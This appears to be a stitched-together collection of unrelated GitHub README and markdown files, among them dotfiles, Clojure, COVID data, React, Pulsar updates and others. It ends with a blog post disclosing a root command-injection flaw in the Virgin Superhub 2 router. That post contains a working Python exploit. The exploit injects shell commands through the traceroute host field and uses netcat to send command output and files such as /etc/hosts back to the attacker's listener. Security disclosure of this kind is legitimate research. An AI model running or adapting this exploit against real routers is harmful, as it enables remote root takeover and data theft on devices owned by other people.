Taking into consideration the snapshot of 04/02/2020 04:59:17 UTC the list of [TMForum Open APIs](https://www.tmforum.org/open-apis/) that uses this schemas is:

Coming soon

repository: tmforum/DataModelDocumentation

repo_name: tmforum/DataModelDocumentation


text:
# My Dotfiles

## Installation

```
git clone --recurse-submodules https://github.com/thedaviddias/dotfiles ~/.dotfiles
cd ~/.dotfiles;
# run this using terminal (not iTerm, lest iTerm settings get discarded on exit)
./install.sh
```

* When it finishes, open iTerm and press Command + , to open preferences. Under Profiles > Colors, select "Load Presets" and choose the Solarized Dark Patch scheme. If it isn't there for some reason, import it from ~/.dotfiles/configs -- you may also need to select the Hack font and check the box for non-ascii font and set to Roboto Mono For Powerline (I've had mixed results for automating these settings--love a pull request that improves this)
* I've also found that you need to reboot before fast key repeat will be enabled

## Settings

### General System Changes

* Disable the sound effects on boot

### Security

### Trackpad, mouse, keyboard, Bluetooth accessories, and input

### Configuring the Screen

### Finder Configs

* Show hidden files by default
* Show all filename extensions
* Show status bar
* Show path bar
* When performing a search, search the current folder by default
* Avoid creating .DS_Store files on network volumes
* Use list view in all Finder windows by default
* Disable the warning before emptying the Trash
* Empty Trash securely by default
* Show the ~/Library folder
* Expand the following File Info panes: “General”, “Open with”, and “Sharing & Permissions”

### Dock & Dashboard

* Remove the auto-hiding Dock delay
* Remove the animation when hiding/showing the Dock
* Automatically hide and show the Dock

### Spotlight

* Disable Spotlight indexing for any volume that gets mounted and has not yet been indexed
* Disable Spotlight

### iTerm2

* Don’t display the annoying prompt when quitting iTerm
* Hide tab title bars

### Time Machine
* Prevent Time Machine from prompting to use new hard drives as backup volume
* Disable local Time Machine backups

### Activity Monitor
* Show the main window when launching Activity Monitor
* Visualize CPU usage in the Activity Monitor Dock icon
* Show all processes in Activity Monitor
* Sort Activity Monitor results by CPU usage

## Software Installation

homebrew, fontconfig, git, ruby (latest), nvm (node + npm), and zsh (latest) are all installed inside the install.sh as foundational software for running this project. Additional software is configured in config.js and can be customized in your own fork/branch (you can change everything in your own fork/brance). The following is the software that I have set as default:

### Utilities

* [coreutils](https://www.gnu.org/software/coreutils/) - An essential package with basic tools such as ls, rm...
* [wget](https://www.gnu.org/software/wget/) - To download data from the web and ftp, easier than curl
* [tree](http://mama.indstate.edu/users/ice/tree/) - To create beautiful indented listing of files
* [nmap](https://nmap.org/) - A powerful command line network discovery utility
* tmux
* [mas](https://github.com/mas-cli/mas) - Install App Store apps from the command line
### NPM Global Modules

### Ruby Gems

### Apps

* alfred
* iterm2
* the-unarchiver
* gpgtools

## Inspiration

Originally forked from https://github.com/atomantic/dotfiles and modified based on my personal choices.
## License
This project is licensed under MIT.
## ¯\\_(ツ)_/¯ Warning / Liability
> Warning:
The creator of this repo is not responsible if your machine ends up in a state you are not happy with. If you are concerned, look at the code to review everything this will do to your machine :)

repository: thedaviddias/dotfiles

gha_language: Shell

repo_name: thedaviddias/dotfiles


text:
# About

[Clojure](http://clojure.org) is a dynamic programming language that targets the Java Virtual Machine (JVM).
Designed as a general purpose language, Clojure combines the approachability of a scripting language with a robust infrastructure for multithreaded programming.

Clojure is predominantly a functional programming language, and features a rich set of immutable, persistent [data structures](http://clojure.org/data_structures).

Clojure is open source, and information about contributing to the language [can be found here](http://clojure.org/contributing).

Rich Hickey, the creator of Clojure, wanted a modern Lisp for functional programming, symbiotic with the established Java platform, and designed for concurrency; thus, Clojure was born.

Here are a couple quotes that exemplify the goals of Clojure:

* _Good design is not about making grand plans, but about taking things apart._
* _Programming is not about typing...it's about thinking._

repository: exercism/clojure

branch_name: refs/heads/main

gha_language: Clojure

repo_name: exercism/clojure


text:
# covid_binned_data
7/14/20
Since much better options exist, I am deprecating parts of this repo.  Primary Urban and Native Title areas, since the geolocation of the data is not sufficient to adequately represent the data.  I am also removing quickcsv.py and some functions within the installed code.  This is in an effort to make it simpler to maintain.

David DeBoer<EMAIL_ADDRESS>
This derived database is intended to provide up-to-date easily accessible geo-binned data for research purposes from the Johns Hopkins maintained database
https://github.com/CSSEGISandData/COVID-19.git

Updated daily after Johns Hopkins updates.

Uses Basemap from Matplotlib to locate longitude and latitude into Census Bureau shapefiles for all US:
* Counties
* Congressional districts
* Combined statistical areas

Additionally, US data files are binned by state and the global data files are binned into Country.
If the country data are listed in provinces, the provinces supplied are listed.

Unbinned data are assigned to "9999" to within that state/area.

## Current data files:

Name                       | Description
---------------------------|----------------------
Bin_Confirmed_County.csv   | Confirmed cases binned into Counties
Bin_Deaths_County.csv      | Deaths binned into Counties
Bin_Confirmed_State.csv    | Confirmed cases binned into States
Bin_Deaths_State.csv       | Deaths binned into States
Bin_Confirmed_Congress.csv | Confirmed cases binned into Congressional Districts
Bin_Deaths_Congress.csv    | Deaths binned into Congressional Districts
Bin_Confirmed_CSA.csv      | Confirmed cases binned into Combined Statistical Areas
Bin_Deaths_CSA.csv         | Deaths binned into Combined Statistical Areas
Bin_Confirmed_Country.csv  | Confirmed cases binned into Countries
Bin_Deaths_Country.csv     | Deaths binned into Countries

The first columns vary by geographical type:

Geo      | Column 1 |Column 2   | Column 3   |
---------|----------|-----------|------------|
County   | Key      | Name      | STate      |
Congress | District | N/A       | N/A        |
State    | STate    | State     | N/A        |
CSA      | Key      | Name      | STates     |
Country  | Name     | Provinces | N/A        |

The following columns contain data:

Longitude:  longitude of the weighted centroid on the last day of the file
Latitude:  latitude of the weighted centroid on the last day of the file
Count on date
.......

Run*.txt files have run meta-information


text:
# react-svg-hexagons

React-svg-hexagons is a set a React components to help you manage hexagons inside your applications.

- [React-svg-hexagon](./packages/react-svg-hexagon)
- [React-svg-hexagon-flip](./packages/react-svg-hexagon-flip) to build flippable hexagons
- [React-svg-hexagon-grid](./packages/react-svg-hexagon-grid) to build responsible CSS grid of hexagons

## Example

[![Sample image](./sample.png)](https://xuopled.github.io/react-svg-hexagons/)

## Getting started

Please refer to individual packages mentioned above for more explanations.

## Contributing

- ⇄ Pull/Merge requests and ★ Stars are always welcome.
- For bugs and feature requests, please [create an issue][github-issue].
- Pull requests must be accompanied by passing automated tests (`yarn test`).

See [CONTRIBUTING.md](../../CONTRIBUTING.md) guidelines.

## License

This project is licensed under the MIT License - see the [LICENCE.md](../../LICENCE.md) file for details.

repository: cedricdelpoux/react-svg-hexagons

repo_name: cedricdelpoux/react-svg-hexagons


text:
# hippy-vue-router

> This is a fork of [vue-router](https://github.com/vuejs/vue-router) for working together with [hippy-vue](https://github.com/Tencent/Hippy/tree/master/packages/hippy-vue) in native environment.

![Hippy Group](https://img.shields.io/badge/group-Hippy-blue.svg)

### Introduction

`hippy-vue-router` is the official router for `hippy-vue`. It deeply integrated with hippy-vue to make building Native Application with hippy-vue a breeze. It's supported all features of vue-router, and will support following features:

1. Android hardware back button to navigate to previous page.
2. Safe area wrapper for hippy-vue app to compatible different hardware.

### Development Setup

The developing line is following the mainstream vue-router, master branch is the vue-router's remote `dev` branch, All of features will append to `feature/hippy-vue`  after original `dev` branch.

All core feature/bugs fix please PR to vue-router.

``` bash
# install deps
npm install

# build dist files
npm run build

# serve examples at localhost:8080
npm run dev

# lint & run all tests
npm test

# serve docs at localhost:8080
npm run docs
```

## Questions

For questions and support please file a new issue. The issue list of this repo is **exclusively** for bug reports and feature requests.

## Issues

Please make sure to read the [Issue Reporting Checklist](https://github.com/vuejs/vue/blob/dev/.github/CONTRIBUTING.md#issue-reporting-guidelines) before opening an issue. Issues not conforming to the guidelines may be closed immediately.

## Contribution

Please make sure to read the [Contributing Guide](https://github.com/vuejs/vue/blob/dev/.github/CONTRIBUTING.md) before making a pull request.

## Changelog

Details changes for each release are documented in the [release notes](https://github.com/vuejs/vue-router/releases).

## License

[MIT](http://opensource.org/licenses/MIT)

Copyright (c) 2013-present Evan You

repository: Tencent/Hippy

gha_language: Java

repo_name: Tencent/Hippy


text:
# Print Path from Root to a given Node in a Binary Tree

Defination: Print Path from Root to a given Node in below Binary Tree.

#### Note:
1. Node Value input by user.

#### Binary Tree:

                 1
               /   \
              2     3
             / \   / \
            4   5 6   7
           /     /     \
          8     9      10
         /       \
        11        12
       /           \
      13            14
                     \
                      15

Input: 9

Output: 1 -> 3 -> 6 -> 9


text:
Text RPG
=======
Copyright (c) 20013-2014 Thang Hong To<EMAIL_ADDRESS>
TextRPG is an attempt to create a framework for RPG/adventure game using ASCII art in the console terminal. The final goal would be using this framework to prototype game story, dialogue and balancing the characters' attributes (mostly good for turn based game).

## Build
* Open TextRPG.sln with Visual Studio 2012 or later
* Select the solution configuration "Release" or "Debug"
* Select "Build > Build Solution" to build the .exe file
* There should be "TextRPG.exe" in folder "Release" (or "Debug" depend on which configuration you choose)

## Configuration
* Open file "Config.ini" in folder "Data"
* Change the variables's value as you want. The next time you run the program, it will use the new configurations

## License
This library is available to anybody free of charge, under the terms of MIT License:

Copyright (c) 20013-2014 Thang Hong To<EMAIL_ADDRESS>
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

repository: UniqueVN/TextRPG

repo_name: UniqueVN/TextRPG


text:
---
title: No Edges
date: 2019-10-31
layout: post.html
permalink: /common-errors/no-edges
---

If the analysis fails with a `no edges remaining` error during the generation of the results, something is wrong with the underlying road network. This page contains common causes.

The error message will look something like this:

## Custom classification
The default [OSRM profile](/setting-up-a-project/osrm-profile) asssumes that each road segment has a `highway` tag with a typical OSM value (eg. `primary`, `secondary`). If your road network uses a different classification, make sure to add them to the speed profile.

A road network with the following classification:

``` xml
<tag k="highway" v="departmental"/>
<tag k="highway" v="national"/>
```

requires the following additions:

Any road segment that has no tags matching the ones in the OSRM profile, will be discarded when generating the routing graph.

repository: WorldBank-Transport/ram

gha_language: CSS

repo_name: WorldBank-Transport/ram


text:
## Adding new content

```
{
	"link" : "",
	"name" : "",
	"img" : ""
}
```
* Fill the skeleton for each new addition and place in respective section of [data.js](https://github.com/anshumanv/ongaku-react/blob/master/src/data.js).
* Make a double check on the links you provide to ensure their correctness.
* Make sure audio quality is equal or greater than 256 kbps.
* Make sure image quality is equal or greater than 720p.
* Use relevant name for new addition.

## Improving Ongaku

* Please open an issue for any enhancement/bug you want to add/fix.
* Send a PR only when you are assigned to the issue by a maintainer.
* Make sure to test any changes locally before sending a PR.

repository: animeongaku/ongaku-react

repo_name: animeongaku/ongaku-react


text:
---
title: "2019-11-22-pulsar-weekly"
displayTitle: "Pulsar Community Weekly Update - 2019-11-17 ~ 2019-11-22"
date: 2019-11-17 ~ 2019-11-22
description: "This is the Pulsar community weekly update for 2019-11-17 ~ 2019-11-22, with updates on multiple under-voting Pulsar releases, support CDC connector for MongoDB, support batch receive in Java client, and more."
id: "2019-11-22-pulsar-weekly"
---

## [Pulsar Community Weekly Update] 2019-11-17 ~ 2019-11-22

This is the Pulsar community weekly update for 2019-11-17 ~ 2019-11-22, with updates on multiple under-voting Pulsar releases, support CDC connector for MongoDB, support batch receive in Java client, and more.

### Development

- [Release][Pulsar] RC1 for Apache Pulsar release 2.4.2 is out of voting.

<EMAIL_ADDRESS>
- [Release][Pulsar Manager] RC4 for Pulsar Manager Release 0.1.0 is out for voting.

<EMAIL_ADDRESS>
- [Release][Pulsar] Sijie started the discussion of cutting the Pulsar 2.5.0 release next week.

<EMAIL_ADDRESS>
- [Pulsar Manager] Guangning started the initiative of adding authentication and authorization support in Pulsar Manager.

<EMAIL_ADDRESS>
- [PIP-38] Support batch receive in Java client (Release: 2.5.0).

    https://github.com/apache/pulsar/pull/4621

    https://github.com/apache/pulsar/wiki/PIP-38%3A-Batch-Receiving-Message

### Notable Feature

- [Connector] Support CDC connector for MongoDB (Release: 2.5.0).

    https://github.com/apache/pulsar/pull/5590

- [Functions] Parametrize grpc and metrics ports so that they can be configured (Release: 2.5.0).

    https://github.com/apache/pulsar/pull/5674

- [Broker][Stats] Expose lastExpireTimestamp for subscription stats. (Release: 2.4.3, 2.5.0).

    https://github.com/apache/pulsar/pull/5721

### Notable Bug Fix

- [Client][Java] Fix "Producer with name xyz is already connected to topic" (Release: 2.5.0).

    https://github.com/apache/pulsar/pull/5571

- [Client][Java] `hasMessageAvailable` should return false when Reader read from latest messages (Release: 2.4.3, 2.5.0).

    https://github.com/apache/pulsar/pull/5023

- [Client][Python] Fix Python consumer receive always timeout after 100ms (Release: 2.4.3, 2.5.0).

    https://github.com/apache/pulsar/pull/5706

### Event/News

* [Conference] KubeCon + CloudNativeCon North America 2019 was held on November 18-21 in San Diego. Yahoo! JAPAN was one of the gold sponsors. Pulsar team and Athenz team from Yahoo! JAPAN attended the conference as the booth exhibitor.

    https://twitter.com/Jennife06125739/status/1197930239646732295

    https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2019/sponsor/

* Pulsar Slack channel has more than 1250 users, which is momentum behind Pulsar community growth.

    https://twitter.com/streamnativeio/status/1197576910915506176


text:
---
layout: post
title: Virgin Superhub 2 Remote Command Execution as Root
tag:
---

I recently read the writeup on the [Virgin Superhub 7 second bootup flaw ](http://ramblingrant.co.uk/2014/03/06/virgin-media-superhub-7-second-security-flaw), this motivated me to post a remote command execution vulnerability that I found a while back.

The vulnerability occurs in the traceroute feature in the admin panel. It executes the shell command traceroute, where the user controls IP address, so the attacker can escape the shell command and execute any command they want – as root, no privilege escalation necessary. For example we control the host variable in the pseudo code for the traceroute function below.

# Pseudo Code

`exec("traceroute " + host + " " + arguments)`

To make it easier exploiting this I have written a shell script that emulates a terminal by sending the results of the commands to a listener using netcat.

```
import requests
import socket
import re
import json
ip = ‘<IP_ADDRESS>’
port = 9991
file_port = 9992
size = 1024
host = ”
backlog = 5

def getToken():
regex = ‘<input type="hidden" name="(.*)" value’
content = requests.get(‘http://<IP_ADDRESS>/VmRgTraceRoute.html’).text
token = re.findall(regex,content)
return token[4]

def postRequest(token, cmd):
data = {"VmCheckRun": 0, "VmCheckContent":1,"VmTraceRouteHost": cmd, "VmTraceRouteToolCommand": 1, "VmTraceRouteStats": "pwned", token : 0}
r = requests.post("http://<IP_ADDRESS>/cgi-bin/TraceRouteCgi",data=data)

def processCMD(cmd):
token = getToken()
cmd = ";export test1=`" + cmd + "`; echo $test1 | nc " + ip + " " + str(port) + " ; echo lol"
postRequest(token,cmd)

def getFile(filename):
finished =0
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,file_port))
s.listen(backlog)
cmd = ";nc " + ip + " " + str(file_port) + " < " + filename + "; echo"
token = getToken()
postRequest(token,cmd)
while finished ==0:
client, address = s.accept()
data = client.recv(500000)
if data:
print data
client.close()
s.shutdown(socket.SHUT_WR)
s.close()
finished = 1

def listenSocket():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while 1:
cmd = raw_input("> ")
if "getfile" in cmd:
print cmd.split(" ")[1]
getFile(cmd.split(" ")[1])
else:
processCMD(cmd)
client, address = s.accept()
data = client.recv(size)

if data:
print data
client.close()

listenSocket()
```

# Usage

 Ensure you are logged into the device admin panel. Edit the python script and replace the IP and port with your local IP and port, this must be allowed through your firewall because you need to listen to read the result of your commands.

```
python routerexploit.py

ls # type any command to execute shell command on device

getfile /etc/hosts # type "getfile" to download file from device
```

# Mitigation

Simply change the admin panel password, an attacker needs to be authenticated to exploit this bug.

# Future Work

 Using this exploit you can pull the custom binaries off the device and look for more bugs and backdoors. You could also use this to attempt to port custom firmware such as dd-wrt to this device.

repository: HenryHoggard/blog

repo_name: HenryHoggard/blog